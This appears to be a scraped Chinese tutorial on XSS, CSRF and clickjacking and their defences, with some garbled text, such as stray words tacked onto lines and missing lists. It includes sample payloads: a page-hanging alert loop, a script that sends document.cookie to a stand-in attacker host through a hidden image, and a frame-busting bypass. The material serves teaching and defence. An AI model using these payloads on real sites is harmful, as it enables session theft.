原文鏈接 https://jkchao.cn/article/59d...
xss: 跨站腳本攻擊(Cross Site Scripting)是最多見和基本的攻擊 WEB 網站方法,攻擊者經過注入非法的 html 標籤或者 javascript 代碼,從而當用戶瀏覽該網頁時,控制用戶瀏覽器。javascript
xss 主要分爲三類:html
DOM即文本對象模型,DOM一般表明在html、xhtml和xml中的對象,使用DOM能夠容許程序和腳本動態的訪問和更新文檔的內容、結構和樣式。它不須要服務器解析響應的直接參與,觸發XSS靠的是瀏覽器端的DOM解析,能夠認爲徹底是客戶端的事情。前端
反射型XSS也被稱爲非持久性XSS,是如今最容易出現的一種XSS漏洞。發出請求時,XSS代碼出如今URL中,最後輸入提交到服務器,服務器解析後在響應內容中出現這段XSS代碼,最後瀏覽器解析執行。java
存儲型XSS又被稱爲持久性XSS,它是最危險的一種跨站腳本,相比反射型XSS和DOM型XSS具備更高的隱蔽性,因此危害更大,由於它不須要用戶手動觸發。 容許用戶存儲數據的web程序均可能存在存儲型XSS漏洞,當攻擊者提交一段XSS代碼後,被服務器端接收並存儲,當全部瀏覽者訪問某個頁面時都會被XSS,其中最典型的例子就是留言板。nginx
跨站腳本攻擊可能形成如下影響:web
在項目開發中,評論是個常見的功能,若是直接把評論的內容保存到數據庫,那麼顯示的時候就可能被攻擊。數據庫
若是你只是想試試 xss,能夠這樣:後端
<font size="100" color="red">試試水</font>
若是帶點惡意,能夠這樣:瀏覽器
<script> while (true) { alert('Hello') } </script>
這時,網站就掛了。安全
固然,最多見 xss 攻擊是讀取 Cookie:
<script> alert(document.cookie) </script>
Cookie 發送給攻擊者的站點:
var img = document.createElement('img') img.src='http://www.xss.com?cookie=' + document.cookie img.style.display='none' document.getElementsByTagName('body')[0].appendChild(img)
當前用戶的登陸憑證存儲於服務器的 session 中,而在瀏覽器中是以 cookie 的形式存儲的。若是攻擊者能獲取到用戶登陸憑證的 Cookie,甚至能夠繞開登陸流程,直接設置這個 Cookie 值,來訪問用戶的帳號。
按理說,只要有輸入數據的地方,就可能存在 XSS 危險。
httpOnly: 在 cookie 中設置 HttpOnly 屬性後,js腳本將沒法讀取到 cookie 信息。
// koa ctx.cookies.set(name, value, { httpOnly: true // 默認爲 true })
過濾
不只僅是前端負責,後端也要作相同的過濾檢查。
由於攻擊者徹底能夠繞過正常的輸入流程,直接利用相關接口向服務器發送設置。
當用戶輸入<script>window.location.href=」http://www.baidu.com」;</script>
, 最終保存結果爲 <script>window.location.href="http://www.baidu.com"</script>
, 在展示時,瀏覽器會對這些字符轉換成文本內容,而不是一段能夠執行的代碼。
關於更多 HtmlEncode 和 JavaScriptEncode,請參考 http://www.cnblogs.com/loveso...
csrf:跨站點請求僞造(Cross-Site Request Forgeries),也被稱爲 one-click attack 或者 session riding。冒充用戶發起請求(在用戶不知情的狀況下), 完成一些違背用戶意願的事情(如修改用戶信息,刪初評論等)。
可能會形成如下影響:
一張圖瞭解原理:
簡而言之:網站過度相信用戶。
好比某網站的轉帳操做
受害者張三給李四轉帳100,
經過對銀行的網站發起請求 http://bank.example/transfer?... ,
一般狀況下,該請求發出後,服務器端會檢查 session 是否合法,而且張三已經登陸成功,
黑客王五能夠本身給銀行發送一個請求 http://bank.example/transfer?... ,可是這個請求來自王五,而不是張三,他並不能經過安全認證。他須要張三的 session 。
王五本身作了一個網站,放入以下代碼 http://bank.example/transfer?... ,
用各類方式誘使張三點擊本身的網站。
張三登陸了銀行的網站沒有退出,訪問了黑客王五的網站,上述的 url 就會向銀行發起請求。
若是session沒有過時,這時悲劇就發生了,張三的帳戶裏少了1000。
token;token 驗證的 CSRF 防護機制是公認最合適的方案。
總體思路以下:
**若網站同時存在 XSS 漏洞的時候,這個方法也是空談。**
Clickjacking: 點擊劫持,是指利用透明的按鈕或鏈接作成陷阱,覆蓋在 Web 頁面之上。而後誘使用戶在不知情的狀況下,點擊那個鏈接訪問內容的一種攻擊手段。這種行爲又稱爲界面假裝(UI Redressing) 。
大概有兩種方式:
一張圖瞭解
通常步驟
X-FRAME-OPTIONS;
X-FRAME-OPTIONS HTTP 響應頭是用來給瀏覽器指示容許一個頁面能否在<frame>
, <iframe>
或者 <object>
中展示的標記。網站可使用此功能,來確保本身網站內容沒有被嵌到別人的網站中去,也從而避免點擊劫持的攻擊。
有三個值:
配置 X-FRAME-OPTIONS:
- Apache 把下面這行添加到 'site' 的配置中: ``` Header always append X-Frame-Options SAMEORIGIN ``` - nginx 把下面這行添加到 'http', 'server' 或者 'location',配置中 ``` add_header X-Frame-Options SAMEORIGIN; ``` - IIS 添加下面配置到 Web.config 文件中 ``` <system.webServer> ... <httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> </customHeaders> </httpProtocol> ... </system.webServer> ```
function locationTop(){ if (top.location != self.location) { top.location = self.location; return false; } return true; } locationTop();
// 破解: // 頂層窗口中放入代碼 var location = document.location; //或者 var location = "";